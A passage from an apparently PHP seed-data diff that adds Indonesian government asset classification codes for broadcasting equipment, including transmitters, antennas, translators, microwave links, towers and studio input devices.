=> 'PERALATAN PEMANCAR', + ], + [ + 'id_aset' => 2569, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR MF/MW', + ], + [ + 'id_aset' => 2570, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR MF/MW PORTABLE', + ], + [ + 'id_aset' => 2571, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR MF/MW TRANSPORTABLE', + ], + [ + 'id_aset' => 2572, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR MF/MW STATIONARY', + ], + [ + 'id_aset' => 2573, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR MF/MW LAINNYA', + ], + [ + 'id_aset' => 2574, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR HF/SW', + ], + [ + 'id_aset' => 2575, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR HF/SW PORTABLE', + ], + [ + 'id_aset' => 2576, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR HF/SW TRANSPORTABLE', + ], + [ + 'id_aset' => 2577, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR HF/SW STATIONARY', + ], + [ + 'id_aset' => 2578, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR HF/SW LAINNYA', + ], + [ + 'id_aset' => 2579, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR VHF/FM', + ], + [ + 'id_aset' => 2580, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR VHF/FM PORTABLE', + ], + [ + 'id_aset' => 2581, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR VHF/FM TRANSPORTABLE', + ], + [ + 'id_aset' => 2582, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR VHF/FM STATIONARY', + ], + [ + 'id_aset' => 2583, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR VHF/FM LAINNYA', + ], + [ + 'id_aset' => 2584, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR UHF', + ], + [ + 'id_aset' => 2585, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR UHF PORTABLE', + ], + [ + 'id_aset' => 2586, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2587, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR UHF STATIONARY', + ], + [ + 'id_aset' => 2588, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'PORTABLE REPORTER LINK', + ], + [ + 'id_aset' => 2589, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR UHF LAINNYA', + ], + [ + 'id_aset' => 2590, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR SHF', + ], + [ + 'id_aset' => 2591, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR SHF PORTABLE', + ], + [ + 'id_aset' => 2592, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR SHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2593, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR SHF STATIONARY', + ], + [ + 'id_aset' => 2594, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'SATELLITE LINK ( UP/DOWN LINK )', + ], + [ + 'id_aset' => 2595, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR SHF LAINNYA', + ], + [ + 'id_aset' => 2596, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA MF/MW', + ], + [ + 'id_aset' => 2597, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE MF/MW PORTABLE', + ], + [ + 'id_aset' => 2598, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENE MF/MW TRANSPORTABLE', + ], + [ + 'id_aset' => 2599, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENE MF/MW STATIONARY', + ], + [ + 'id_aset' => 2600, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA MF/MW LAINNYA', + ], + [ + 'id_aset' => 2601, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA HF/SW', + ], + [ + 'id_aset' => 2602, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE HF/SW PORTABLE', + ], + [ + 'id_aset' => 2603, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENE HF/SW TRANSPORTABLE', + ], + [ + 'id_aset' => 2604, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENE HF/SW STATIONARY', + ], + [ + 'id_aset' => 2605, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA HF/SW LAINNYA', + ], + [ + 'id_aset' => 2606, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA VHF/FM', + ], + [ + 'id_aset' => 2607, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE VHF/FM PORTABLE', + ], + [ + 'id_aset' => 2608, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENE VHF/FM TRANSPORTABLE', + ], + [ + 'id_aset' => 2609, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENE VHF/FM STATIONARY', + ], + [ + 'id_aset' => 2610, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA VHF/FM LAINNYA', + ], + [ + 'id_aset' => 2611, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA UHF', + ], + [ + 'id_aset' => 2612, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE UHF PORTABLE', + ], + [ + 'id_aset' => 2613, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENE UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2614, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENE UHF STATIONARY', + ], + [ + 'id_aset' => 2615, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA UHF LAINNYA', + ], + [ + 'id_aset' => 2616, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA SHF/PARABOLA', + ], + [ + 'id_aset' => 2617, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE SHF PORTABLE', + ], + [ + 'id_aset' => 2618, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENE SHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2619, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENE SHF STATIONARY', + ], + [ + 'id_aset' => 2620, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'ANTENA ALL BAND', + ], + [ + 'id_aset' => 2621, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '005', + 'nama' => 'ANTENA SSB', + ], + [ + 'id_aset' => 2622, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA SHF/PARABOLA LAINNYA', + ], + [ + 'id_aset' => 2623, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TRANSLATOR VHF/VHF', + ], + [ + 'id_aset' => 2624, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSLATOR VHF/VHF PORTABLE', + ], + [ + 'id_aset' => 2625, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'TRANSLATOR VHF/VHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2626, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRANSLATOR VHF/VHF STATIONARY', + ], + [ + 'id_aset' => 2627, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TRANSLATOR VHF/VHF LAINNYA', + ], + [ + 'id_aset' => 2628, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TRANSLATOR UHF/UHF', + ], + [ + 'id_aset' => 2629, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSLATOR UHF/UHF PORTABLE', + ], + [ + 'id_aset' => 2630, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '002', + 'nama' => 'TRANSLATOR UHF/UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2631, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRANSLATOR UHF/UHF STATIONARY', + ], + [ + 'id_aset' => 2632, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TRANSLATOR UHF/UHF LAINNYA', + ], + [ + 'id_aset' => 2633, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TRANSLATOR VHF/UHF', + ], + [ + 'id_aset' => 2634, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSLATOR VHF/UHF PORTABLE', + ], + [ + 'id_aset' => 2635, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '002', + 'nama' => 'TRANSLATOR VHF/UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2636, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRANSLATOR VHF/UHF STATIONARY', + ], + [ + 'id_aset' => 2637, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TRANSLATOR VHF/UHF LAINNYA', + ], + [ + 'id_aset' => 2638, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TRANSLATOR UHF/VHF', + ], + [ + 'id_aset' => 2639, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSLATOR UHF/VHF PORTABLE', + ], + [ + 'id_aset' => 2640, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '002', + 'nama' => 'TRANSLATOR UHF/VHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2641, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRANSLATOR UHF/VHF STATIONARY', + ], + [ + 'id_aset' => 2642, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TRANSLATOR UHF/VHF LAINNYA', + ], + [ + 'id_aset' => 2643, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN MICROWAVE F P U', + ], + [ + 'id_aset' => 2644, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '001', + 'nama' => 'MICROWAVE F P U PORTABLE', + ], + [ + 'id_aset' => 2645, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICROWAVE F P U TRANSPORTABLE', + ], + [ + 'id_aset' => 2646, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '003', + 'nama' => 'MICROWAVE F P U STATIONARY', + ], + [ + 'id_aset' => 2647, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN MICROWAVE F P U LAINNYA', + ], + [ + 'id_aset' => 2648, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN MICROWAVE TERESTRIAL', + ], + [ + 'id_aset' => 2649, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '001', + 'nama' => 'MICROWAVE TERESTRIAL PORTABLE', + ], + [ + 'id_aset' => 2650, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICROWAVE TERESTRIAL TRANSPORTABLE', + ], + [ + 'id_aset' => 2651, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '003', + 'nama' => 'MICROWAVE TERESTRIAL STATIONARY', + ], + [ + 'id_aset' => 2652, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN MICROWAVE TERESTRIAL LAINNYA', + ], + [ + 'id_aset' => 2653, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN MICROWAVE TVRO', + ], + [ + 'id_aset' => 2654, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '001', + 'nama' => 'MICROWAVE TVRO PORTABLE', + ], + [ + 'id_aset' => 2655, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICROWAVE TVRO TRANSPORTABLE', + ], + [ + 'id_aset' => 2656, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '003', + 'nama' => 'MICROWAVE TVRO STATIONARY', + ], + [ + 'id_aset' => 2657, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN MICROWAVE TVRO LAINNYA', + ], + [ + 'id_aset' => 2658, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN DUMMY LOAD', + ], + [ + 'id_aset' => 2659, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '001', + 'nama' => 'DUMMY LOAD PENDINGIN UDARA', + ], + [ + 'id_aset' => 2660, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '002', + 'nama' => 'DUMMY LOAD PENDINGIN AIR', + ], + [ + 'id_aset' => 2661, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '003', + 'nama' => 'DUMMY LOAD PENDINGIN MINYAK', + ], + [ + 'id_aset' => 2662, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '004', + 'nama' => 'DUMMY LOAD PENDINGIN GAS', + ], + [ + 'id_aset' => 2663, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN DUMMY LOAD LAINNYA', + ], + [ + 'id_aset' => 2664, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '000', + 'nama' => 'SWITCHER ANTENA', + ], + [ + 'id_aset' => 2665, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '001', + 'nama' => 'SWITCHER COMBINATION', + ], + [ + 'id_aset' => 2666, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '002', + 'nama' => 'SWITCHER MANUAL', + ], + [ + 'id_aset' => 2667, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '003', + 'nama' => 'SWITCHER AUTOMATIC MOTOR', + ], + [ + 'id_aset' => 2668, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '999', + 'nama' => 'SWITCHER ANTENA LAINNYA', + ], + [ + 'id_aset' => 2669, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '000', + 'nama' => 'SWITCHER/MENARA ANTENA', + ], + [ + 'id_aset' => 2670, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '001', + 'nama' => 'SELF SUPPORTING TOWER', + ], + [ + 'id_aset' => 2671, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '002', + 'nama' => 'GUY TOWER', + ], + [ + 'id_aset' => 2672, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '003', + 'nama' => 'MAST TOWER', + ], + [ + 'id_aset' => 2673, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '004', + 'nama' => 'CONCRETE TOWER', + ], + [ + 'id_aset' => 2674, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '999', + 'nama' => 'SWITCHER/MENARA ANTENA LAINNYA', + ], + [ + 'id_aset' => 2675, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '000', + 'nama' => 'FEEDER', + ], + [ + 'id_aset' => 2676, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '001', + 'nama' => 'OPEN WIRE', + ], + [ + 'id_aset' => 2677, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '002', + 'nama' => 'COAXIAL FEEDER', + ], + [ + 'id_aset' => 2678, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '003', + 'nama' => 'ANTENNA TUNING UNIT', + ], + [ + 'id_aset' => 2679, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '004', + 'nama' => 'DEHYDRATOR', + ], + [ + 'id_aset' => 2680, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '999', + 'nama' => '\"FEEDER LAINNYA (ALAT STUDIO', + ], + [ + 'id_aset' => 2681, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '000', + 'nama' => 'HUMIDITY CONTROL', + ], + [ + 'id_aset' => 2682, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '001', + 'nama' => 'DEHUMIDIFIER (HUMIDITY CONTROL)', + ], + [ + 'id_aset' => 2683, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '999', + 'nama' => 'HUMIDITY CONTROL LAINNYA', + ], + [ + 'id_aset' => 2684, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '000', + 'nama' => 'PROGRAM INPUT EQUIPMENT', + ], + [ + 'id_aset' => 2685, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '001', + 'nama' => 'RECEIVER STL/VHF ( FM)', + ], + [ + 'id_aset' => 2686, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '002', + 'nama' => 'RECEIVER STL/UHF', + ], + [ + 'id_aset' => 2687, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '003', + 'nama' => 'RECEIVER STL/SHF', + ], + [ + 'id_aset' => 2688, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '004', + 'nama' => 'TVRO', + ], + [ + 'id_aset' => 2689, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '005', + 'nama' => 'LINE AMPLIFIER', + ], + [ + 'id_aset' => 2690, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '006', + 'nama' => 'S R O', + ], + [ + 'id_aset' => 2691, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '007', + 'nama' => 'LINE EQUALIZER', + ], + [ + 'id_aset' => 2692, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '008', + 'nama' => 'AUTOMATIC GAIN CONTROL', + ], + [ + 'id_aset' => 2693, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '009', + 'nama' => 'COMPRESSOR AMPLIFIER', + ], + [ + 'id_aset' => 2694, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '010', + 'nama' => 'EXPANDER AMPLIFIER', + ], + [ + 'id_aset' => 2695, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '011', + 'nama' => 'ATTENUATOR', + ], + [ + 'id_aset' => 2696, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '012', + 'nama' => 'AUDIO PROCESSOR AM', + ], + [ + 'id_aset' => 2697, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '013', + 'nama' => 'STEREO GENERATOR FM', + ], + [ + 'id_aset' => 2698, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '014', + 'nama' => 'DISTRIBUTOR AMPLIFIER', + ], + [ + 'id_aset' => 2699, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '015', + 'nama' => 'SWITCHER/PATCH PANEL', + ], + [ + 